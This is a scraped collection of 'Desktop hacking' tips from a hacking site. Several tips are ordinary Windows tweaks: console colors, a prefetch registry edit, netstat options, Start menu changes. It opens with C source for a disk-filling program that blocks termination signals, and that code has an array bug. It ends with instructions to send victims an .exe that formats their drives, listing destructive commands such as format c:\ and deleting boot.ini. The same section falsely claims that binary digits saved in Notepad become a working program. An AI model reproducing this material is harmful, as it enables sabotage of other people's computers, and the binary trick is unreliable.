#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

Desktop hacking -  www.crack$hack.ws Change DOS Colour.

SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black
8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.

Desktop hacking - www.crack$hack.ws Speed Up XP Booting.

Start Registry Editor (Regedit.exe).

Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\Current
ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters

Make sure you backup the keys by exporting them to a .reg file.

On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

Close the registry editor.

Restart your computer.

Desktop hacking - www.crack$hack.ws Using Your Command Prompt.
Type netstat -a Display all connections and listening ports, netstat -b Display the executable involved in creating each connection or listening port. In some well-known executables host multiple independent components, and in these cases the sequence of components involved in creating the connection or listening port is displayed. In this case the executable name is in [ ] at the bottom, on top is the component it called, and so forth until TCP/IP was reached. Note that this option can be time-consuming and will fail unless you have sufficient permissions. netstat -e Displays Ethernet statistics. This may be combined with the -s option. netstat -n Displays addresses and port numbers in numerical form. netstat -o Displays the owning process ID associated with each connection. netstat -p proto Shows connections for the protocol specified by proto; proto may be any of : TCP, UDP, TCPv6, or UDPv6. If used with -s option to display per-protocol statistics, proto may be any of: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6 netstat -r Displays the routing table. netstat -s Displays per-protocol statistics. netstat -v When used in conjunction with -b, will display sequence of components involved in creating the connection or listening port for all executables.

Desktop hacking - www.crack$hack.ws Change Text on XP Start button.

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.
Desktop hacking - www.crack$hack.ws Disable or Remove Shutdown.
It is Possible to Remove Shut Down option from Start menu. Just follow the following steps. Start->Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!
Desktop hacking - www.crack$hack.ws Format HDD using Notepad.
Copy & Paste the following code in Notepad. 0100101100011111001001010101010101000 0011111100000 Save As "format.exe" or any name u want (but with extension.exe) Now you can send this .exe file to people to format their HDD It can fail to format your HDD while running WINDOWS.
Format c:\ /Q/X -- this will format your drive c:\
011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000
Format a:\ /Q/X -- this will format your drive a:\

0110011001101111011100100110110101100
0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting.
011001000110010101101100001000000010
11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001